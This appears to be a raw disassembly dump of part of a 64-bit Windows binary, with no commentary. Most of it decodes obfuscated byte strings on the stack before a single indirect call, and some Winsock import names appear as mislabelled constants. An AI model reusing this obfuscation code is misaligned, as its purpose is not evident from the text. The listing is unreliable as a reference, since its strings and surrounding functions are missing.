call fcn.1400cd2fc
lea rcx, [0x1401df7c8]
call fcn.1400ccce4
lea rcx, [0x1401c5530]
mov rax, qword [0x1401c5530]
call qword [rax + 0x18]
mov eax, dword [rbx]
cmp dword [0x1401df7c8], eax
jle 0x14001557b
lea rcx, [0x1401df7c8]
call fcn.1400ccd50
cmp dword [0x1401df7c8], 0xffffffff
jne 0x14001557b
lea rcx, [0x1400f9df0]
call fcn.1400cd2fc
lea rcx, [0x1401df7c8]
call fcn.1400ccce4
lea rcx, [0x1401c5530]
mov rax, qword [0x1401c5530]
call qword [rax + 0x20]
jmp 0x140016079
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dl, 0xc
mov r8b, 0x32
xor r9b, r9b
mov r10b, 0x2c
mov r11b, 0x16
mov bl, 0x69
mov dil, reloc.WS2_32.dll_send
mov sil, 0x19
mov r14b, 0x18
mov r15b, 0x1c
mov r12b, 0x1a
mov r13b, 0x83
xorps xmm0, xmm0
xor eax, eax
mov qword [rsp + 0x30], rax
movups xmmword [rbp - 0x64], xmm0
mov dword [rbp - 0x54], eax
movzx eax, dl
and al, 0x6d
mov ecx, dword [rbp - 0x50]
sub cl, al
add cl, cl
add dl, cl
mov byte [rbp - 0x70], dl
movzx eax, r8b
and al, 0x6e
add al, al
mov ecx, 0x73
sub cl, al
add r8b, cl
mov byte [rbp - 0x6f], r8b
movzx eax, r9b
and al, 0x6f
mov ecx, dword [rbp - 0x48]
sub cl, al
add cl, cl
movzx r9d, cl
mov byte [rbp - 0x6e], r9b
movzx eax, r10b
and al, 0x70
add al, al
mov ecx, 0x75
sub cl, al
add r10b, cl
mov byte [rbp - 0x6d], r10b
movzx eax, r11b
and al, 0x71
mov ecx, 0x3b
sub cl, al
add cl, cl
add r11b, cl
mov byte [rbp - 0x6c], r11b
movzx eax, bl
and al, 0x72
add al, al
mov ecx, 0x77
sub cl, al
add bl, cl
mov byte [rbp - 0x6b], bl
movzx eax, dil
and al, 0x73
mov ecx, 0x3c
sub cl, al
add cl, cl
add dil, cl
mov byte [rbp - 0x6a], dil
movzx eax, sil
and al, 0x74
add al, al
mov ecx, 0x79
sub cl, al
add sil, cl
mov byte [rbp - 0x69], sil
movzx eax, r14b
and al, 0x75
mov ecx, 0x3d
sub cl, al
add cl, cl
add r14b, cl
mov byte [rbp - 0x68], r14b
movzx eax, r15b
and al, 0x76
add al, al
mov ecx, 0x7b
sub cl, al
add r15b, cl
mov byte [rbp - 0x67], r15b
movzx eax, r12b
and al, 0x77
mov ecx, 0x3e
sub cl, al
add cl, cl
add r12b, cl
mov byte [rbp - 0x66], r12b
movzx eax, r13b
and al, 0x78
add al, al
mov ecx, 0x7d
sub cl, al
add r13b, cl
mov byte [rbp - 0x65], r13b
movd edx, xmm0
movzx eax, dl
and al, 0x79
mov ecx, 0x3f
sub cl, al
add cl, cl
add dl, cl
mov byte [rbp - 0x64], dl
movzx ecx, byte [rbp - 0x63]
movzx eax, cl
and al, 0x7a
add al, al
mov edx, 0x7f
sub dl, al
add cl, dl
mov byte [rbp - 0x63], cl
movzx ecx, byte [rbp - 0x62]
movzx eax, cl
and al, 0x7b
add al, al
mov edx, 0x80
sub dl, al
add cl, dl
mov byte [rbp - 0x62], cl
movzx ecx, byte [rbp - 0x61]
movzx eax, cl
and al, 0x7c
add al, al
mov edx, 0x81
sub dl, al
add cl, dl
mov byte [rbp - 0x61], cl
movzx ecx, byte [rbp - 0x60]
movzx eax, cl
and al, 0x7d
add al, al
mov edx, 0x82
sub dl, al
add cl, dl
mov byte [rbp - 0x60], cl
movzx ecx, byte [rbp - 0x5f]
movzx eax, cl
and al, 0x7e
add al, al
mov edx, 0x83
sub dl, al
add cl, dl
mov byte [rbp - 0x5f], cl
movzx ecx, byte [rbp - 0x5e]
movzx eax, cl
and al, 0x7f
add al, al
mov edx, 0x84
sub dl, al
add cl, dl
mov byte [rbp - 0x5e], cl
movzx ecx, byte [rbp - 0x5d]
movzx eax, cl
and al, 0x80
add al, al
mov edx, 0x85
sub dl, al
add cl, dl
mov byte [rbp - 0x5d], cl
movzx ecx, byte [rbp - 0x5c]
movzx eax, cl
and al, 0x81
add al, al
mov edx, 0x86
sub dl, al
add cl, dl
mov byte [rbp - 0x5c], cl
movzx ecx, byte [rbp - 0x5b]
movzx eax, cl
and al, 0x82
add al, al
mov edx, 0x87
sub dl, al
add cl, dl
mov byte [rbp - 0x5b], cl
movzx ecx, byte [rbp - 0x5a]
movzx eax, cl
and al, 0x83
add al, al
mov edx, 0x88
sub dl, al
add cl, dl
mov byte [rbp - 0x5a], cl
movzx ecx, byte [rbp - 0x59]
movzx eax, cl
and al, 0x84
add al, al
mov edx, 0x89
sub dl, al
add cl, dl
mov byte [rbp - 0x59], cl
movzx ecx, byte [rbp - 0x58]
movzx eax, cl
and al, 0x85
add al, al
mov edx, 0x8a
sub dl, al
add cl, dl
mov byte [rbp - 0x58], cl
movzx ecx, byte [rbp - 0x57]
movzx eax, cl
and al, 0x86
add al, al
mov edx, 0x8b
sub dl, al
add cl, dl
mov byte [rbp - 0x57], cl
movzx ecx, byte [rbp - 0x56]
movzx eax, cl
and al, 0x87
add al, al
mov edx, 0x8c
sub dl, al
add cl, dl
mov byte [rbp - 0x56], cl
movzx ecx, byte [rbp - 0x55]
movzx eax, cl
and al, 0x88
add al, al
mov edx, 0x8d
sub dl, al
add cl, dl
mov byte [rbp - 0x55], cl
mov rcx, qword [rsp + 0x30]
movzx eax, cl
and al, 0x89
add al, al
mov edx, 0x8e
sub dl, al
add cl, dl
mov byte [rbp - 0x54], cl
movzx ecx, byte [rbp - 0x53]
movzx eax, cl
and al, 0x8a
add al, al
mov edx, 0x8f
sub dl, al
add cl, dl
mov byte [rbp - 0x53], cl
movzx ecx, byte [rbp - 0x52]
movzx eax, cl
and al, 0x8b
add al, al
mov edx, 0x90
sub dl, al
add cl, dl
mov byte [rbp - 0x52], cl
movzx ecx, byte [rbp - 0x51]
movzx eax, cl
and al, 0x8c
add al, al
mov edx, 0x91
sub dl, al
add cl, dl
mov byte [rbp - 0x51], cl
mov cl, 0xc0
mov dl, 0xda
mov r8b, 0xc3
mov r9b, 0xc7
mov r10b, 0xdd
mov r11b, 0xd9
mov bl, 0x1c
mov dil, 0xcb
mov sil, 0xcf
mov r14b, reloc.WS2_32.dll_recvfrom
mov r15b, 0xc9
mov r12b, 0xc1
mov r13b, 0xd1
xor eax, eax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x6c], eax
movzx eax, cl
and al, 0x4f
sub byte [rbp - 0x40], al
mov eax, dword [rbp - 0x40]
add al, al
add cl, al
mov byte [rsp + 0x50], cl
movzx eax, dl
and al, 0x50
add al, al
mov ecx, 0x27
sub cl, al
add dl, cl
mov byte [rsp + 0x51], dl
movzx eax, r8b
and al, 0x51
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add r8b, cl
mov byte [rsp + 0x52], r8b
movzx eax, r9b
and al, 0x52
add al, al
mov ecx, 0x29
sub cl, al
add r9b, cl
mov byte [rsp + 0x53], r9b
movzx eax, r10b
and al, 0x53
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
add cl, cl
add r10b, cl
mov byte [rsp + 0x54], r10b
movzx eax, r11b
and al, 0x54
add al, al
mov ecx, 0x2b
sub cl, al
add r11b, cl
mov byte [rsp + 0x55], r11b
movzx eax, bl
and al, 0x55
mov ecx, 0x16
sub cl, al
add cl, cl
add bl, cl
mov byte [rsp + 0x56], bl
movzx eax, dil
and al, 0x56
add al, al
mov ecx, 0x2d
sub cl, al
add dil, cl
mov byte [rsp + 0x57], dil
movzx eax, sil
and al, 0x57
mov ecx, 0x17
sub cl, al
add cl, cl
add sil, cl
mov byte [rsp + 0x58], sil
movzx ecx, r14b
and cl, 0x58
add cl, cl
mov eax, 0x2f
sub al, cl
add r14b, al
mov byte [rsp + 0x59], r14b
movzx eax, r15b
and al, 0x59
mov ecx, dword [rbp - 0x4c]
sub cl, al
add cl, cl
add r15b, cl
mov byte [rsp + 0x5a], r15b
movzx eax, r12b
and al, 0x5a
add al, al
mov ecx, 0x31
sub cl, al
add r12b, cl
mov byte [rsp + 0x5b], r12b
movzx eax, r13b
and al, 0x5b
mov ecx, 0x19
sub cl, al
add cl, cl
add r13b, cl
mov byte [rsp + 0x5c], r13b
mov cl, 0xcb
movzx eax, cl
and al, 0x5c
add al, al
mov edx, 0x33
sub dl, al
add cl, dl
mov byte [rsp + 0x5d], cl
mov cl, 0xc0
movzx eax, cl
and al, 0x5d
mov edx, 0x1a
sub dl, al
add dl, dl
add cl, dl
mov byte [rsp + 0x5e], cl
mov cl, 0x17
movzx eax, cl
and al, 0x5e
add al, al
mov edx, 0x35
sub dl, al
add cl, dl
mov byte [rsp + 0x5f], cl
mov cl, 0xc6
movzx eax, cl
and al, 0x5f
mov edx, 0x1b
sub dl, al
add dl, dl
add cl, dl
mov byte [rsp + 0x60], cl
mov cl, 0xfb
movzx eax, cl
and al, 0x60
add al, al
mov edx, 0x37
sub dl, al
add cl, dl
mov byte [rsp + 0x61], cl
mov cl, 0xf3
movzx eax, cl
and al, 0x61
mov edx, 0x1c
sub dl, al
add dl, dl
add cl, dl
mov byte [rsp + 0x62], cl
mov cl, 0xfd
movzx eax, cl
and al, 0x62
add al, al
mov edx, dword [rbp - 0x50]
sub dl, al
add cl, dl
mov byte [rsp + 0x63], cl
mov cl, 0xf1
movzx eax, cl
and al, 0x63
mov edx, 0x1d
sub dl, al
add dl, dl
add cl, dl
mov byte [rsp + 0x64], cl
mov cl, 0xf1
movzx eax, cl
and al, 0x64
add al, al
mov edx, 0x3b
sub dl, al
add cl, dl
mov byte [rsp + 0x65], cl
mov cl, 0xeb
movzx eax, cl
and al, 0x65
mov edx, 0x1e
sub dl, al
add dl, dl
add cl, dl
mov byte [rsp + 0x66], cl
mov cl, 0xf6
movzx eax, cl
and al, 0x66
add al, al
mov edx, 0x3d
sub dl, al
add cl, dl
mov byte [rsp + 0x67], cl
mov cl, 0xe9
movzx eax, cl
and al, 0x67
mov edx, 0x1f
sub dl, al
add dl, dl
add cl, dl
mov byte [rsp + 0x68], cl
mov cl, 0xf4
movzx eax, cl
and al, 0x68
add al, al
mov edx, 0x3f
sub dl, al
add cl, dl
mov byte [rsp + 0x69], cl
mov cl, 0x23
movzx eax, cl
and al, 0x69
mov edx, 0x20
sub dl, al
add dl, dl
add cl, dl
mov byte [rsp + 0x6a], cl
mov cl, 0x43
movzx eax, cl
and al, 0x6a
add al, al
mov edx, 0x41
sub dl, al
add cl, dl
mov byte [rsp + 0x6b], cl
mov rcx, qword [rsp + 0x30]
movzx eax, cl
and al, 0x6b
mov edx, 0x21
sub dl, al
add dl, dl
add cl, dl
mov byte [rsp + 0x6c], cl
movzx edx, byte [rsp + 0x6d]
movzx ecx, dl
and cl, 0x6c
add cl, cl
mov eax, 0x43
sub al, cl
add dl, al
mov byte [rsp + 0x6d], dl
movzx ecx, byte [rsp + 0x6e]
movzx eax, cl
and al, 0x6d
mov edx, 0x22
sub dl, al
add dl, dl
add cl, dl
mov byte [rsp + 0x6e], cl
movzx ecx, byte [rsp + 0x6f]
movzx eax, cl
and al, 0x6e
add al, al
mov edx, 0x45
sub dl, al
add cl, dl
mov byte [rsp + 0x6f], cl
lea r8, [rbp - 0x70]
lea rdx, [rsp + 0x50]
jmp 0x14001606d
mov dl, 0x26
mov r8b, 0x2c
mov r9b, 0x36
mov r10b, 0x2a
mov r11b, 0x3c
mov bl, 0x69
mov dil, 0x3b
mov sil, 0x29
movzx r14d, r10b
movzx r15d, dl
movzx r12d, r8b
mov r13b, 0x93
xor eax, eax
mov qword [rsp + 0x30], rax
mov dword [rbp + 0xc], eax
movzx ecx, dl
and cl, 0x6a
add cl, cl
mov eax, 0x84
sub al, cl
add dl, al
mov byte [rbp], dl
movzx eax, r8b
and al, 0x6b
add al, al
mov edx, 0x85
sub dl, al
add r8b, dl
mov byte [rbp + 1], r8b
movzx ecx, r9b
and cl, 0x6c
add cl, cl
mov eax, 0x86
sub al, cl
add r9b, al
mov byte [rbp + 2], r9b
movzx ecx, r10b
and cl, 0x6d
add cl, cl
mov eax, 0x87
sub al, cl
add r10b, al
mov byte [rbp + 3], r10b
movzx ecx, r11b
and cl, 0x6e
add cl, cl
mov eax, 0x88
sub al, cl
add r11b, al
mov byte [rbp + 4], r11b
movzx ecx, bl
and cl, 0x6f
add cl, cl
mov eax, 0x89
sub al, cl
add bl, al
mov byte [rbp + 5], bl
movzx ecx, dil
and cl, 0x70
add cl, cl
mov eax, 0x8a
sub al, cl
add dil, al
mov byte [rbp + 6], dil
movzx ecx, sil
and cl, 0x71
add cl, cl
mov edx, 0x8b
sub dl, cl
add sil, dl
mov byte [rbp + 7], sil
movzx ecx, r14b
and cl, 0x72
add cl, cl
mov eax, 0x8c
sub al, cl
add r14b, al
mov byte [rbp + 8], r14b
movzx ecx, r15b
and cl, 0x73
add cl, cl
mov eax, 0x8d
sub al, cl
add r15b, al
mov byte [rbp + 9], r15b
movzx ecx, r12b
and cl, 0x74
add cl, cl
mov eax, 0x8e
sub al, cl
add r12b, al
mov byte [rbp + 0xa], r12b
movzx ecx, r13b
and cl, 0x75
add cl, cl
mov eax, 0x8f
sub al, cl
add r13b, al
mov byte [rbp + 0xb], r13b
mov rdx, qword [rsp + 0x30]
movzx ecx, dl
and cl, 0x76
add cl, cl
mov eax, 0x90
sub al, cl
add dl, al
mov byte [rbp + 0xc], dl
movzx edx, byte [rbp + 0xd]
movzx ecx, dl
and cl, 0x77
add cl, cl
mov eax, 0x91
sub al, cl
add dl, al
mov byte [rbp + 0xd], dl
movzx edx, byte [rbp + 0xe]
movzx ecx, dl
and cl, 0x78
add cl, cl
mov eax, 0x92
sub al, cl
add dl, al
mov byte [rbp + 0xe], dl
movzx edx, byte [rbp + 0xf]
movzx ecx, dl
and cl, 0x79
add cl, cl
mov eax, 0x93
sub al, cl
add dl, al
mov byte [rbp + 0xf], dl
mov cl, 0xc
mov dl, 0x32
mov r8b, 0xb
mov r9b, 0x17
mov r10b, reloc.WS2_32.dll_recvfrom
mov r11b, 0x2d
mov bl, 0x68
mov dil, 0x1b
mov sil, 0x1f
mov r14b, WSAGetLastError
mov r15b, reloc.WS2_32.dll_setsockopt
movzx r12d, r15b
mov r13b, 0x25
xor eax, eax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x6c], eax
mov word [rsp + 0x70], ax
movzx eax, cl
and al, 0xed
sub byte [rbp - 0x50], al
mov eax, dword [rbp - 0x50]
add al, al
add cl, al
mov byte [rsp + 0x50], cl
movzx eax, dl
and al, 0xee
add al, al
mov ecx, 0x73
sub cl, al
add dl, cl
mov byte [rsp + 0x51], dl
movzx eax, r8b
and al, 0xef
mov ecx, dword [rbp - 0x48]
sub cl, al
add cl, cl
add r8b, cl
mov byte [rsp + 0x52], r8b
movzx eax, r9b
and al, 0xf0
add al, al
mov ecx, 0x75
sub cl, al
add r9b, cl
mov byte [rsp + 0x53], r9b
movzx eax, r10b
and al, 0xf1
mov ecx, 0x3b
sub cl, al
add cl, cl
add r10b, cl
mov byte [rsp + 0x54], r10b
movzx eax, r11b
and al, 0xf2
add al, al
mov ecx, 0x77
sub cl, al
add r11b, cl
mov byte [rsp + 0x55], r11b
movzx eax, bl
and al, 0xf3
mov ecx, 0x3c
sub cl, al
add cl, cl
add bl, cl
mov byte [rsp + 0x56], bl
movzx eax, dil
and al, 0xf4
add al, al
mov ecx, 0x79
sub cl, al
add dil, cl
mov byte [rsp + 0x57], dil
movzx eax, sil
and al, 0xf5
mov ecx, 0x3d
sub cl, al
add cl, cl
add sil, cl
mov byte [rsp + 0x58], sil
movzx eax, r14b
and al, 0xf6
add al, al
mov ecx, 0x7b
sub cl, al
add r14b, cl
mov byte [rsp + 0x59], r14b
movzx eax, r15b
and al, 0xf7
mov ecx, 0x3e
sub cl, al
add cl, cl
add r15b, cl
mov byte [rsp + 0x5a], r15b
movzx eax, r12b
and al, 0xf8
add al, al
mov ecx, 0x7d
sub cl, al
add r12b, cl
mov byte [rsp + 0x5b], r12b
movzx eax, r13b
and al, 0xf9
mov ecx, 0x3f
sub cl, al
add cl, cl
add r13b, cl
mov byte [rsp + 0x5c], r13b
mov cl, reloc.WS2_32.dll_send
movzx eax, cl
and al, 0xfa
add al, al
mov edx, 0x7f
sub dl, al
add cl, dl
mov byte [rsp + 0x5d], cl
mov cl, reloc.WS2_32.dll_sendto
movzx eax, cl
and al, 0xfb
add al, al
mov edx, 0x80
sub dl, al
add cl, dl
mov byte [rsp + 0x5e], cl
mov cl, 0x67
movzx eax, cl
and al, 0xfc
add al, al
mov edx, 0x81
sub dl, al
add cl, dl
mov byte [rsp + 0x5f], cl
mov cl, 0x16
movzx eax, cl
and al, 0xfd
add al, al
mov edx, 0x82
sub dl, al
add cl, dl
mov byte [rsp + 0x60], cl
mov cl, reloc.WS2_32.dll_send
movzx eax, cl
and al, 0xfe
add al, al
mov edx, 0x83
sub dl, al
add cl, dl
mov byte [rsp + 0x61], cl
mov eax, 0x84
sub al, 0x1b
mov byte [rsp + 0x62], al
mov al, 0xf1
add al, 0x85
mov byte [rsp + 0x63], al
mov cl, 0xe5
movzx eax, cl
and al, 1
add al, al
mov edx, 0x86
sub dl, al
add cl, dl
mov byte [rsp + 0x64], cl
mov cl, 0xe5
movzx eax, cl
and al, 2
add al, al
mov edx, 0x87
sub dl, al
add cl, dl
mov byte [rsp + 0x65], cl
mov cl, 0xe3
movzx eax, cl
and al, 3
add al, al
mov edx, 0x88
sub dl, al
add cl, dl
mov byte [rsp + 0x66], cl
mov cl, 0xe6
movzx eax, cl
and al, 4
add al, al
mov edx, 0x89
sub dl, al
add cl, dl
mov byte [rsp + 0x67], cl
mov cl, 0xe5
movzx eax, cl
and al, 5
add al, al
mov edx, 0x8a
sub dl, al
add cl, dl
mov byte [rsp + 0x68], cl
mov cl, 0xe8
movzx eax, cl
and al, 6
add al, al
mov edx, 0x8b
sub dl, al
add cl, dl
mov byte [rsp + 0x69], cl
mov cl, 0x9b
movzx eax, cl
and al, 7
add al, al
mov edx, 0x8c
sub dl, al
add cl, dl
mov byte [rsp + 0x6a], cl
mov cl, 0x73
movzx eax, cl
and al, 8
add al, al
mov edx, 0x8d
sub dl, al
add cl, dl
mov byte [rsp + 0x6b], cl
mov rdx, qword [rsp + 0x30]
movzx eax, dl
and al, 9
add al, al
mov r8d, 0x8e
sub r8b, al
lea ecx, [r8 + rdx]
mov byte [rsp + 0x6c], cl
movzx ecx, byte [rsp + 0x6d]
movzx eax, cl
and al, 0xa
add al, al
mov r8d, 0x8f
sub r8b, al
add cl, r8b
mov byte [rsp + 0x6d], cl
movzx ecx, byte [rsp + 0x6e]
movzx eax, cl
and al, 0xb
add al, al
mov r8d, 0x90
sub r8b, al
add cl, r8b
mov byte [rsp + 0x6e], cl
movzx ecx, byte [rsp + 0x6f]
movzx eax, cl
and al, 0xc
add al, al
mov r8d, 0x91
sub r8b, al
add cl, r8b
mov byte [rsp + 0x6f], cl
movzx eax, dl
and al, 0xd
add al, al
mov ecx, 0x92
sub cl, al
add dl, cl
mov byte [rsp + 0x70], dl
movzx ecx, byte [rsp + 0x71]
movzx eax, cl
and al, 0xe
add al, al
mov edx, 0x93
sub dl, al
add cl, dl
mov byte [rsp + 0x71], cl
lea r8, [rbp]
lea rdx, [rsp + 0x50]
mov r9d, reloc.WS2_32.dll_recv
xor ecx, ecx
call qword [rsp + 0x48]
xor eax, eax
mov rcx, qword [rbp + 0x38]
xor rcx, rsp
call fcn.1400ccc80
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret